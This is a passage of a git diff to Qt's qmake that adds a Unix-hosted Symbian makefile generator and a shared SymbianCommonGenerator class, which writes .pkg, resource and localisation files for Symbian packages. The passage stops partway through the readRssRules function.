@@ -476,6 +479,8 @@ MetaMakefileGenerator::createMakefileGenerator(QMakeProject *proj, bool noIO)
         mkfile = new SymbianAbldMakefileGenerator;
     } else if(gen == "SYMBIAN_SBSV2") {
         mkfile = new SymbianSbsv2MakefileGenerator;
+    } else if(gen == "SYMBIAN_UNIX") {
+        mkfile = new SymbianMakefileTemplate<UnixMakefileGenerator>;
     } else {
         fprintf(stderr, "Unknown generator specified: %s\n", gen.toLatin1().constData());
     }
@@ -486,6 +491,25 @@ MetaMakefileGenerator::createMakefileGenerator(QMakeProject *proj, bool noIO)
     return mkfile;
 }
 
+MetaMakefileGenerator *
+MetaMakefileGenerator::createMetaGenerator(QMakeProject *proj, const QString &name, bool op, bool *success)
+{
+    MetaMakefileGenerator *ret = 0;
+    if ((Option::qmake_mode == Option::QMAKE_GENERATE_MAKEFILE ||
+         Option::qmake_mode == Option::QMAKE_GENERATE_PRL)) {
+        if (proj->first("TEMPLATE").endsWith("subdirs"))
+            ret = new SubdirsMetaMakefileGenerator(proj, name, op);
+    }
+    if (!ret)
+        ret = new BuildsMetaMakefileGenerator(proj, name, op);
+    bool res = ret->init();
+    if (success)
+        *success = res;
+    return ret;
+}
+
+#endif // QT_QMAKE_PARSER_ONLY
+
 bool
 MetaMakefileGenerator::modesForGenerator(const QString &gen,
         Option::HOST_MODE *host_mode, Option::TARG_MODE *target_mode)
@@ -504,7 +528,7 @@ MetaMakefileGenerator::modesForGenerator(const QString &gen,
     } else if (gen == "PROJECTBUILDER" || gen == "XCODE") {
         *host_mode = Option::HOST_MACX_MODE;
         *target_mode = Option::TARG_MACX_MODE;
-    } else if (gen == "SYMBIAN_ABLD" || gen == "SYMBIAN_SBSV2") {
+    } else if (gen == "SYMBIAN_ABLD" || gen == "SYMBIAN_SBSV2" || gen == "SYMBIAN_UNIX") {
 #if defined(Q_OS_MAC)
         *host_mode = Option::HOST_MACX_MODE;
 #elif defined(Q_OS_UNIX)
@@ -520,21 +544,4 @@ MetaMakefileGenerator::modesForGenerator(const QString &gen,
     return true;
 }
 
-MetaMakefileGenerator *
-MetaMakefileGenerator::createMetaGenerator(QMakeProject *proj, const QString &name, bool op, bool *success)
-{
-    MetaMakefileGenerator *ret = 0;
-    if ((Option::qmake_mode == Option::QMAKE_GENERATE_MAKEFILE ||
-         Option::qmake_mode == Option::QMAKE_GENERATE_PRL)) {
-        if (proj->first("TEMPLATE").endsWith("subdirs"))
-            ret = new SubdirsMetaMakefileGenerator(proj, name, op);
-    }
-    if (!ret)
-        ret = new BuildsMetaMakefileGenerator(proj, name, op);
-    bool res = ret->init();
-    if (success)
-        *success = res;
-    return ret;
-}
-
 QT_END_NAMESPACE
diff --git a/qmake/generators/symbian/initprojectdeploy_symbian.cpp b/qmake/generators/symbian/initprojectdeploy_symbian.cpp
index 81c9408..6407412 100644
--- a/qmake/generators/symbian/initprojectdeploy_symbian.cpp
+++ b/qmake/generators/symbian/initprojectdeploy_symbian.cpp
@@ -155,6 +155,7 @@ void initProjectDeploySymbian(QMakeProject* project,
                               DeploymentList &deploymentList,
                               const QString &testPath,
                               bool deployBinaries,
+                              bool epocBuild,
                               const QString &platform,
                               const QString &build,
                               QStringList& generatedDirs,
@@ -264,7 +265,11 @@ void initProjectDeploySymbian(QMakeProject* project,
                     if (isBinary(info)) {
                         if (deployBinaries) {
                             // Executables and libraries are deployed to \sys\bin
-                            QFileInfo targetPath(epocRoot() + "epoc32/release/" + platform + "/" + build + "/");
+                            QFileInfo targetPath;
+                            if (epocBuild)
+                                targetPath.setFile(epocRoot() + "epoc32/release/" + platform + "/" + build + "/");
+                            else
+                                targetPath.setFile(info.path() + QDir::separator());
                             if(devicePathHasDriveLetter) {
                                 deploymentList.append(CopyItem(
                                     Option::fixPathToLocalOS(targetPath.absolutePath() + "/" + info.fileName(),
diff --git a/qmake/generators/symbian/initprojectdeploy_symbian.h b/qmake/generators/symbian/initprojectdeploy_symbian.h
index c621915..2653d2a 100644
--- a/qmake/generators/symbian/initprojectdeploy_symbian.h
+++ b/qmake/generators/symbian/initprojectdeploy_symbian.h
@@ -69,6 +69,7 @@ extern void initProjectDeploySymbian(QMakeProject* project,
                               DeploymentList &deploymentList,
                               const QString &testPath,
                               bool deployBinaries,
+                              bool epocBuild,
                               const QString &platform,
                               const QString &build,
                               QStringList& generatedDirs,
diff --git a/qmake/generators/symbian/symbian_makefile.h b/qmake/generators/symbian/symbian_makefile.h
new file mode 100644
index 0000000..061866a
--- /dev/null
+++ b/qmake/generators/symbian/symbian_makefile.h
@@ -0,0 +1,101 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the qmake application of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef SYMBIAN_MAKEFILE_H
+#define SYMBIAN_MAKEFILE_H
+
+#include "symbiancommon.h"
+
+// This allows us to reuse the code for both win32 and unix makefile generators.
+template <class T>
+class SymbianMakefileTemplate : public T, public SymbianCommonGenerator
+{
+public:
+    SymbianMakefileTemplate() : SymbianCommonGenerator(this) {}
+
+    void init()
+    {
+        T::init();
+        SymbianCommonGenerator::init();
+    }
+
+    bool writeMakefile(QTextStream &t)
+    {
+        QString numberOfIcons;
+        QString iconFile;
+        QMap<QString, QStringList> userRssRules;
+        readRssRules(numberOfIcons, iconFile, userRssRules);
+
+        // Generate pkg files if there are any actual files to deploy
+        bool generatePkg = false;
+
+        if (targetType == TypeExe) {
+            generatePkg = true;
+        } else {
+            const QStringList deployments = this->project->values("DEPLOYMENT");
+            for (int i = 0; i < deployments.count(); ++i) {
+                if (!this->project->values(deployments.at(i) + ".sources").isEmpty()) {
+                    generatePkg = true;
+                    break;
+                }
+            }
+        }
+
+        if (generatePkg) {
+            generatePkgFile(iconFile, false);
+        }
+
+        // Get the application translations and convert to symbian OS lang code, i.e. decical number
+        QStringList symbianLangCodes = symbianLangCodesFromTsFiles();
+
+        if (targetType == TypeExe) {
+            if (!this->project->values("CONFIG").contains("no_icon", Qt::CaseInsensitive)) {
+                writeRegRssFile(userRssRules);
+                writeRssFile(numberOfIcons, iconFile);
+                writeLocFile(symbianLangCodes);
+            }
+        }
+
+        return T::writeMakefile(t);
+    }
+};
+
+#endif // SYMBIAN_MAKEFILE_H
diff --git a/qmake/generators/symbian/symbiancommon.cpp b/qmake/generators/symbian/symbiancommon.cpp
new file mode 100644
index 0000000..0802c01
--- /dev/null
+++ b/qmake/generators/symbian/symbiancommon.cpp
@@ -0,0 +1,916 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the qmake application of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "symbiancommon.h"
+#include <qdebug.h>
+
+// Included from tools/shared
+#include <symbian/epocroot.h>
+
+#define RESOURCE_DIRECTORY_RESOURCE "\\\\resource\\\\apps\\\\"
+
+#define RSS_RULES "RSS_RULES"
+#define RSS_RULES_BASE "RSS_RULES."
+#define RSS_TAG_NBROFICONS "number_of_icons"
+#define RSS_TAG_ICONFILE "icon_file"
+#define RSS_TAG_HEADER "header"
+#define RSS_TAG_SERVICE_LIST "service_list"
+#define RSS_TAG_FILE_OWNERSHIP_LIST "file_ownership_list"
+#define RSS_TAG_DATATYPE_LIST "datatype_list"
+#define RSS_TAG_FOOTER "footer"
+#define RSS_TAG_DEFAULT "default_rules" // Same as just giving rules without tag
+
+#define MANUFACTURER_NOTE_FILE "manufacturer_note.txt"
+#define DEFAULT_MANUFACTURER_NOTE \
+    "The package is not supported for devices from this manufacturer. Please try the selfsigned " \
+    "version of the package instead."
+
+SymbianCommonGenerator::SymbianCommonGenerator(MakefileGenerator *generator)
+    : generator(generator)
+{
+}
+
+void SymbianCommonGenerator::init()
+{
+    QMakeProject *project = generator->project;
+    fixedTarget = project->first("QMAKE_ORIG_TARGET");
+    if (fixedTarget.isEmpty())
+        fixedTarget = project->first("TARGET");
+    fixedTarget = generator->unescapeFilePath(fixedTarget);
+    fixedTarget = removePathSeparators(fixedTarget);
+    if (project->first("MAKEFILE_GENERATOR") == "SYMBIAN_ABLD"
+        || project->first("MAKEFILE_GENERATOR") == "SYMBIAN_SBSV2")
+        removeEpocSpecialCharacters(fixedTarget);
+    else
+        removeSpecialCharacters(fixedTarget);
+
+    // This should not be empty since the mkspecs are supposed to set it if missing.
+    uid3 = project->first("TARGET.UID3").trimmed();
+
+    if ((project->values("TEMPLATE")).contains("app"))
+        targetType = TypeExe;
+    else if ((project->values("TEMPLATE")).contains("lib")) {
+        // Check CONFIG to see if we are to build staticlib or dll
+        if (project->isActiveConfig("staticlib") || project->isActiveConfig("static"))
+            targetType = TypeLib;
+        else if (project->isActiveConfig("plugin"))
+            targetType = TypePlugin;
+        else
+            targetType = TypeDll;
+    } else {
+        targetType = TypeSubdirs;
+    }
+
+    // UID is valid as either hex or decimal, so just convert it to number and back to hex
+    // to get proper string for private dir
+    bool conversionOk = false;
+    uint uidNum = uid3.toUInt(&conversionOk, 0);
+
+    if (!conversionOk) {
+        fprintf(stderr, "Error: Invalid UID \"%s\".\n", uid3.toUtf8().constData());
+    } else {
+        privateDirUid.setNum(uidNum, 16);
+        while (privateDirUid.length() < 8)
+            privateDirUid.insert(0, QLatin1Char('0'));
+    }
+}
+
+bool SymbianCommonGenerator::containsStartWithItem(const QChar &c, const QStringList& src)
+{
+    bool result = false;
+    foreach(QString str, src) {
+        if (str.startsWith(c)) {
+            result =  true;
+            break;
+        }
+    }
+    return result;
+}
+
+void SymbianCommonGenerator::removeSpecialCharacters(QString& str)
+{
+    // When modifying this method check also application_icon.prf
+    str.replace(QString("/"), QString("_"));
+    str.replace(QString("\\"), QString("_"));
+    str.replace(QString(" "), QString("_"));
+}
+
+void SymbianCommonGenerator::removeEpocSpecialCharacters(QString& str)
+{
+    // When modifying this method check also application_icon.prf
+    str.replace(QString("-"), QString("_"));
+    str.replace(QString(":"), QString("_"));
+    str.replace(QString("."), QString("_"));
+    removeSpecialCharacters(str);
+}
+
+void SymbianCommonGenerator::generatePkgFile(const QString &iconFile, bool epocBuild)
+{
+    QMakeProject *project = generator->project;
+    QString pkgTarget = project->first("QMAKE_ORIG_TARGET");
+    if (pkgTarget.isEmpty())
+        pkgTarget = project->first("TARGET");
+    pkgTarget = generator->unescapeFilePath(pkgTarget);
+    pkgTarget = removePathSeparators(pkgTarget);
+    QString pkgFilename = QString("%1_template.%2").arg(pkgTarget).arg("pkg");
+    if (!Option::output_dir.isEmpty())
+        pkgFilename = Option::output_dir + '/' + pkgFilename;
+
+    QFile pkgFile(pkgFilename);
+    if (!pkgFile.open(QIODevice::WriteOnly | QIODevice::Text)) {
+        PRINT_FILE_CREATE_ERROR(pkgFilename);
+        return;
+    }
+
+    generatedFiles << pkgFile.fileName();
+    QTextStream t(&pkgFile);
+
+    QString installerSisHeader = project->values("DEPLOYMENT.installer_header").join("\n");
+    if (installerSisHeader.isEmpty())
+        installerSisHeader = "0xA000D7CE"; // Use default self-signable UID if not defined
+
+    QString wrapperStreamBuffer;
+    QTextStream tw(&wrapperStreamBuffer);
+
+    QString dateStr = QDateTime::currentDateTime().toString(Qt::ISODate);
+
+    // Header info
+    QString wrapperPkgFilename = QString("%1_installer.%2")
+                                .arg(pkgTarget)
+                                .arg("pkg");
+    QString headerComment = "; %1 generated by qmake at %2\n"
+        "; This file is generated by qmake and should not be modified by the user\n"
+        ";\n\n";
+    t << headerComment.arg(pkgFilename).arg(dateStr);
+    tw << headerComment.arg(wrapperPkgFilename).arg(dateStr);
+
+    // Construct QStringList from pkg_prerules since we need search it before printed to file
+    // Note: Though there can't be more than one language or header line, use stringlists
+    // in case user wants comments to go with the rules.
+    QStringList rawPkgPreRules;
+    QStringList languageRules;
+    QStringList headerRules;
+    foreach(QString deploymentItem, project->values("DEPLOYMENT")) {
+        foreach(QString pkgrulesItem, project->values(deploymentItem + ".pkg_prerules")) {
+            QStringList pkgrulesValue = project->values(pkgrulesItem);
+            // If there is no stringlist defined for a rule, use rule name directly
+            // This is convenience for defining single line mmp statements
+            if (pkgrulesValue.isEmpty()) {
+                if (pkgrulesItem.startsWith("&"))
+                    languageRules << pkgrulesItem;
+                else if (pkgrulesItem.startsWith("#"))
+                    headerRules << pkgrulesItem;
+                else
+                    rawPkgPreRules << pkgrulesItem;
+            } else {
+                if (containsStartWithItem('&', pkgrulesValue)) {
+                    foreach(QString pkgrule, pkgrulesValue) {
+                        languageRules << pkgrule;
+                    }
+                } else if (containsStartWithItem('#', pkgrulesValue)) {
+                    foreach(QString pkgrule, pkgrulesValue) {
+                        headerRules << pkgrule;
+                    }
+                } else {
+                    foreach(QString pkgrule, pkgrulesValue) {
+                        rawPkgPreRules << pkgrule;
+                    }
+                }
+            }
+        }
+    }
+
+    // Apply some defaults if specific data does not exist in PKG pre-rules
+
+    if (languageRules.isEmpty()) {
+        // language, (*** hardcoded to english atm, should be parsed from TRANSLATIONS)
+        languageRules << "; Language\n&EN\n\n";
+    } else if (headerRules.isEmpty()) {
+        // In case user defines langs, he must take care also about SIS header
+        fprintf(stderr, "Warning: If language is defined with DEPLOYMENT pkg_prerules, also the SIS header must be defined\n");
+    }
+
+    t << languageRules.join("\n") << endl;
+    tw << languageRules.join("\n") << endl;
+
+    // name of application, UID and version
+    QString applicationVersion = project->first("VERSION").isEmpty() ? "1,0,0" : project->first("VERSION").replace('.', ',');
+    QString sisHeader = "; SIS header: name, uid, version\n#{\"%1\"},(%2),%3\n\n";
+    QString visualTarget = generator->escapeFilePath(project->first("TARGET"));
+
+    visualTarget = removePathSeparators(visualTarget);
+    QString wrapperTarget = visualTarget + " installer";
+
+    if (installerSisHeader.startsWith("0x", Qt::CaseInsensitive)) {
+        tw << sisHeader.arg(wrapperTarget).arg(installerSisHeader).arg(applicationVersion);
+    } else {
+        tw << installerSisHeader << endl;
+    }
+
+    if (headerRules.isEmpty())
+        t << sisHeader.arg(visualTarget).arg(uid3).arg(applicationVersion);
+    else
+        t << headerRules.join("\n") << endl;
+
+    // Localized vendor name
+    QString vendorName;
+    if (!containsStartWithItem('%', rawPkgPreRules)) {
+        vendorName += "; Localised Vendor name\n%{\"Vendor\"}\n\n";
+    }
+
+    // Unique vendor name
+    if (!containsStartWithItem(':', rawPkgPreRules)) {
+        vendorName += "; Unique Vendor name\n:\"Vendor\"\n\n";
+    }
+
+    t << vendorName;
+    tw << vendorName;
+
+    // PKG pre-rules - these are added before actual file installations i.e. SIS package body
+    if (rawPkgPreRules.size()) {
+        QString comment = "\n; Manual PKG pre-rules from PRO files\n";
+        t << comment;
+        tw << comment;
+
+        foreach(QString item, rawPkgPreRules) {
+            // Only regular pkg file should have package dependencies or pkg header if that is
+            // defined using prerules.
+            if (!item.startsWith("(") && !item.startsWith("#")) {
+                tw << item << endl;
+            }
+            t << item << endl;
+        }
+        t << endl;
+        tw << endl;
+    }
+
+    // Begin Manufacturer block
+    if (!project->values("DEPLOYMENT.manufacturers").isEmpty()) {
+        QString manufacturerStr("IF ");
+        foreach(QString manufacturer, project->values("DEPLOYMENT.manufacturers")) {
+            manufacturerStr.append(QString("(MANUFACTURER)=(%1) OR \n   ").arg(manufacturer));
+        }
+        // Remove the final OR
+        manufacturerStr.chop(8);
+        t << manufacturerStr << endl;
+    }
+
+    // Install paths on the phone *** should be dynamic at some point
+    QString installPathBin = "!:\\sys\\bin";
+    QString installPathResource = "!:\\resource\\apps";
+    QString installPathRegResource = "!:\\private\\10003a3f\\import\\apps";
+
+    // Find location of builds
+    QString destDirBin;
+    QString destDirResource;
+    QString destDirRegResource;
+    if (epocBuild) {
+        destDirBin = QString("%1epoc32/release/$(PLATFORM)/$(TARGET)").arg(epocRoot());
+        destDirResource = QString("%1epoc32/data/z/resource/apps").arg(epocRoot());
+        destDirRegResource = QString("%1epoc32/data/z/private/10003a3f/import/apps").arg(epocRoot());
+    } else {
+        destDirBin = project->first("DESTDIR");
+        if (destDirBin.isEmpty())
+            destDirBin = ".";
+        else if (destDirBin.endsWith('/') || destDirBin.endsWith('\\'))
+            destDirBin.chop(1);
+        destDirResource = destDirBin;
+        destDirRegResource = destDirBin;
+    }
+
+    if (targetType == TypeExe) {
+        // deploy .exe file
+        t << "; Executable and default resource files" << endl;
+        QString exeFile = fixedTarget + ".exe";
+        t << QString("\"%1/%2\"    - \"%3\\%4\"")
+             .arg(destDirBin)
+             .arg(exeFile)
+             .arg(installPathBin)
+             .arg(exeFile) << endl;
+
+        // deploy rsc & reg_rsc file
+        if (!project->isActiveConfig("no_icon")) {
+            t << QString("\"%1/%2\"    - \"%3\\%4\"")
+                 .arg(destDirResource)
+                 .arg(fixedTarget + ".rsc")
+                 .arg(installPathResource)
+                 .arg(fixedTarget + ".rsc") << endl;
+
+            t << QString("\"%1/%2\"    - \"%3\\%4\"")
+                 .arg(destDirRegResource)
+                 .arg(fixedTarget + "_reg.rsc")
+                 .arg(installPathRegResource)
+                 .arg(fixedTarget + "_reg.rsc") << endl;
+
+            if (!iconFile.isEmpty())  {
+                if (epocBuild) {
+                    t << QString("\"%1epoc32/data/z%2\"    - \"!:%3\"")
+                         .arg(epocRoot())
+                         .arg(iconFile)
+                         .arg(QDir::toNativeSeparators(iconFile)) << endl << endl;
+                } else {
+                    QDir mifIconDir(project->first("DESTDIR"));
+                    QFileInfo mifIcon(mifIconDir.relativeFilePath(project->first("TARGET")));
+                    QString mifIconFileName = mifIcon.fileName();
+                    mifIconFileName.append(".mif");
+                    t << QString("\"%1/%2\"    - \"!:%3\"")
+                         .arg(mifIcon.path())
+                         .arg(mifIconFileName)
+                         .arg(QDir::toNativeSeparators(iconFile)) << endl << endl;
+                }
+            }
+        }
+    }
+
+    // deploy any additional DEPLOYMENT  files
+    QString remoteTestPath;
+    QString zDir;
+    remoteTestPath = QString("!:\\private\\%1").arg(privateDirUid);
+    if (epocBuild)
+        zDir = epocRoot() + QLatin1String("epoc32/data/z");
+
+    DeploymentList depList;
+    initProjectDeploySymbian(project, depList, remoteTestPath, true, epocBuild, "$(PLATFORM)", "$(TARGET)", generatedDirs, generatedFiles);
+    if (depList.size())
+        t << "; DEPLOYMENT" << endl;
+    for (int i = 0; i < depList.size(); ++i)  {
+        QString from = depList.at(i).from;
+        QString to = depList.at(i).to;
+
+        if (epocBuild) {
+            // Deploy anything not already deployed from under epoc32 instead from under
+            // \epoc32\data\z\ to enable using pkg file without rebuilding
+            // the project, which can be useful for some binary only distributions.
+            if (!from.contains(QLatin1String("epoc32"), Qt::CaseInsensitive)) {
+                from = to;
+                if (from.size() > 1 && from.at(1) == QLatin1Char(':'))
+                    from = from.mid(2);
+                from.prepend(zDir);
+            } else {
+                if (from.size() > 1 && from.at(1) == QLatin1Char(':'))
+                    from = from.mid(2);
+            }
+        }
+
+        t << QString("\"%1\"    - \"%2\"").arg(from.replace('\\','/')).arg(to) << endl;
+    }
+    t << endl;
+
+    // PKG post-rules - these are added after actual file installations i.e. SIS package body
+    t << "; Manual PKG post-rules from PRO files" << endl;
+    foreach(QString deploymentItem, project->values("DEPLOYMENT")) {
+        foreach(QString pkgrulesItem, project->values(deploymentItem + ".pkg_postrules")) {
+            QStringList pkgrulesValue = project->values(pkgrulesItem);
+            // If there is no stringlist defined for a rule, use rule name directly
+            // This is convenience for defining single line statements
+            if (pkgrulesValue.isEmpty()) {
+                t << pkgrulesItem << endl;
+            } else {
+                foreach(QString pkgrule, pkgrulesValue) {
+                    t << pkgrule << endl;
+                }
+            }
+            t << endl;
+        }
+    }
+
+    // Close Manufacturer block
+    if (!project->values("DEPLOYMENT.manufacturers").isEmpty()) {
+        QString manufacturerFailNoteFile;
+        if (project->values("DEPLOYMENT.manufacturers.fail_note").isEmpty()) {
+            manufacturerFailNoteFile = QString("%1_" MANUFACTURER_NOTE_FILE).arg(uid3);
+            QFile ft(manufacturerFailNoteFile);
+            if (ft.open(QIODevice::WriteOnly)) {
+                generatedFiles << ft.fileName();
+                QTextStream t2(&ft);
+
+                t2 << QString(DEFAULT_MANUFACTURER_NOTE) << endl;
+            } else {
+                PRINT_FILE_CREATE_ERROR(manufacturerFailNoteFile)
+            }
+        } else {
+            manufacturerFailNoteFile = project->values("DEPLOYMENT.manufacturers.fail_note").join("");
+        }
+
+        t << "ELSEIF NOT(0) ; MANUFACTURER" << endl
+          << "\"" << generator->fileInfo(manufacturerFailNoteFile).absoluteFilePath() << "\""
+          << " - \"\", FILETEXT, TEXTEXIT" << endl
+          << "ENDIF ; MANUFACTURER" << endl;
+    }
+
+    // Write wrapper pkg
+    if (!installerSisHeader.isEmpty()) {
+        QFile wrapperPkgFile(wrapperPkgFilename);
+        if (!wrapperPkgFile.open(QIODevice::WriteOnly | QIODevice::Text)) {
+            PRINT_FILE_CREATE_ERROR(wrapperPkgFilename);
+            return;
+        }
+
+        generatedFiles << wrapperPkgFile.fileName();
+        QTextStream twf(&wrapperPkgFile);
+
+        twf << wrapperStreamBuffer << endl;
+
+        // Wrapped files deployment
+        QString currentPath = qmake_getpwd();
+        QString sisName = QString("%1.sis").arg(pkgTarget);
+        twf << "\"" << currentPath << "/" << sisName << "\" - \"c:\\adm\\" << sisName << "\"" << endl;
+
+        QString bootStrapPath = QLibraryInfo::location(QLibraryInfo::PrefixPath);
+        bootStrapPath.append("/smartinstaller.sis");
+        QFileInfo fi(generator->fileInfo(bootStrapPath));
+        twf << "@\"" << fi.absoluteFilePath() << "\",(0x2002CCCD)" << endl;
+    }
+}
+
+QString SymbianCommonGenerator::removePathSeparators(QString &file)
+{
+    QString ret = file;
+    while (ret.indexOf(QDir::separator()) > 0) {
+        ret.remove(0, ret.indexOf(QDir::separator()) + 1);
+    }
+
+    return ret;
+}
+
+void SymbianCommonGenerator::writeRegRssFile(QMap<QString, QStringList> &userItems)
+{
+    QString filename(fixedTarget);
+    filename.append("_reg.rss");
+    if (!Option::output_dir.isEmpty())
+        filename = Option::output_dir + '/' + filename;
+    QFile ft(filename);
+    if (ft.open(QIODevice::WriteOnly)) {
+        generatedFiles << ft.fileName();
+        QTextStream t(&ft);
+        t << "// ============================================================================" << endl;
+        t << "// * Generated by qmake (" << qmake_version() << ") (Qt " QT_VERSION_STR ") on: ";
+        t << QDateTime::currentDateTime().toString(Qt::ISODate) << endl;
+        t << "// * This file is generated by qmake and should not be modified by the" << endl;
+        t << "// * user." << endl;
+        t << "// ============================================================================" << endl;
+        t << endl;
+        t << "#include <" << fixedTarget << ".rsg>" << endl;
+        t << "#include <appinfo.rh>" << endl;
+        foreach(QString item, userItems[RSS_TAG_HEADER])
+            t << item << endl;
+        t << endl;
+        t << "UID2 KUidAppRegistrationResourceFile" << endl;
+        t << "UID3 " << uid3 << endl << endl;
+        t << "RESOURCE APP_REGISTRATION_INFO" << endl;
+        t << "\t{" << endl;
+        t << "\tapp_file=\"" << fixedTarget << "\";" << endl;
+        t << "\tlocalisable_resource_file=\"" RESOURCE_DIRECTORY_RESOURCE << fixedTarget << "\";" << endl;
+
+        writeRegRssList(t, userItems[RSS_TAG_SERVICE_LIST],
+                        QLatin1String(RSS_TAG_SERVICE_LIST),
+                        QLatin1String("SERVICE_INFO"));
+        writeRegRssList(t, userItems[RSS_TAG_FILE_OWNERSHIP_LIST],
+                        QLatin1String(RSS_TAG_FILE_OWNERSHIP_LIST),
+                        QLatin1String("FILE_OWNERSHIP_INFO"));
+        writeRegRssList(t, userItems[RSS_TAG_DATATYPE_LIST],
+                        QLatin1String(RSS_TAG_DATATYPE_LIST),
+                        QLatin1String("DATATYPE"));
+        t << endl;
+
+        foreach(QString item, userItems[RSS_TAG_DEFAULT])
+            t << "\t" << item.replace("\n","\n\t") << endl;
+        t << "\t}" << endl;
+
+        foreach(QString item, userItems[RSS_TAG_FOOTER])
+            t << item << endl;
+    } else {
+        PRINT_FILE_CREATE_ERROR(filename)
+    }
+}
+
+void SymbianCommonGenerator::writeRegRssList(QTextStream &t,
+                                               QStringList &userList,
+                                               const QString &listTag,
+                                               const QString &listItem)
+{
+    int itemCount = userList.count();
+    if (itemCount) {
+        t << "\t" << listTag << " ="<< endl;
+        t << "\t\t{" << endl;
+        foreach(QString item, userList) {
+            t << "\t\t" << listItem << endl;
+            t << "\t\t\t{" << endl;
+            t << "\t\t\t" << item.replace("\n","\n\t\t\t") << endl;
+            t << "\t\t\t}";
+            if (--itemCount)
+                t << ",";
+            t << endl;
+        }
+        t << "\t\t}; "<< endl;
+    }
+}
+
+void SymbianCommonGenerator::writeRssFile(QString &numberOfIcons, QString &iconFile)
+{
+    QString filename(fixedTarget);
+    if (!Option::output_dir.isEmpty())
+        filename = Option::output_dir + '/' + filename;
+    filename.append(".rss");
+    QFile ft(filename);
+    if (ft.open(QIODevice::WriteOnly)) {
+        generatedFiles << ft.fileName();
+        QTextStream t(&ft);
+        t << "// ============================================================================" << endl;
+        t << "// * Generated by qmake (" << qmake_version() << ") (Qt " QT_VERSION_STR ") on: ";
+        t << QDateTime::currentDateTime().toString(Qt::ISODate) << endl;
+        t << "// * This file is generated by qmake and should not be modified by the" << endl;
+        t << "// * user." << endl;
+        t << "// ============================================================================" << endl;
+        t << endl;
+        t << "#include <appinfo.rh>" << endl;
+        t << "#include \"" << fixedTarget << ".loc\"" << endl;
+        t << endl;
+        t << "RESOURCE LOCALISABLE_APP_INFO r_localisable_app_info" << endl;
+        t << "\t{" << endl;
+        t << "\tshort_caption = STRING_r_short_caption;" << endl;
+        t << "\tcaption_and_icon =" << endl;
+        t << "\tCAPTION_AND_ICON_INFO" << endl;
+        t << "\t\t{" << endl;
+        t << "\t\tcaption = STRING_r_caption;" << endl;
+
+        QString rssIconFile = iconFile;
+        rssIconFile = rssIconFile.replace("/", "\\\\");
+
+        if (numberOfIcons.isEmpty() || rssIconFile.isEmpty()) {
+            // There can be maximum one item in this tag, validated when parsed
+            t << "\t\tnumber_of_icons = 0;" << endl;
+            t << "\t\ticon_file = \"\";" << endl;
+        } else {
+            // There can be maximum one item in this tag, validated when parsed
+            t << "\t\tnumber_of_icons = " << numberOfIcons << ";" << endl;
+            t << "\t\ticon_file = \"" << rssIconFile << "\";" << endl;
+        }
+        t << "\t\t};" << endl;
+        t << "\t}" << endl;
+        t << endl;
+    } else {
+        PRINT_FILE_CREATE_ERROR(filename);
+    }
+}
+
+void SymbianCommonGenerator::writeLocFile(QStringList &symbianLangCodes)
+{
+    QString filename(fixedTarget);
+    if (!Option::output_dir.isEmpty())
+        filename = Option::output_dir + '/' + filename;
+    filename.append(".loc");
+    QFile ft(filename);
+    if (ft.open(QIODevice::WriteOnly)) {
+        generatedFiles << ft.fileName();
+        QTextStream t(&ft);
+        t << "// ============================================================================" << endl;
+        t << "// * Generated by qmake (" << qmake_version() << ") (Qt " QT_VERSION_STR ") on: ";
+        t << QDateTime::currentDateTime().toString(Qt::ISODate) << endl;
+        t << "// * This file is generated by qmake and should not be modified by the" << endl;
+        t << "// * user." << endl;
+        t << "// ============================================================================" << endl;
+        t << endl;
+        t << "#ifdef LANGUAGE_SC" << endl;
+        t << "#define STRING_r_short_caption \"" << fixedTarget  << "\"" << endl;
+        t << "#define STRING_r_caption \"" << fixedTarget  << "\"" << endl;
+        foreach(QString lang, symbianLangCodes) {
+            t << "#elif defined LANGUAGE_" << lang << endl;
+            t << "#define STRING_r_short_caption \"" << fixedTarget  << "\"" << endl;
+            t << "#define STRING_r_caption \"" << fixedTarget  << "\"" << endl;
+        }
+        t << "#else" << endl;
+        t << "#define STRING_r_short_caption \"" << fixedTarget  << "\"" << endl;
+        t << "#define STRING_r_caption \"" << fixedTarget  << "\"" << endl;
+        t << "#endif" << endl;
+    } else {
+        PRINT_FILE_CREATE_ERROR(filename);
+    }
+}
+
+void SymbianCommonGenerator::readRssRules(QString &numberOfIcons,
+                                            QString &iconFile, QMap<QString,
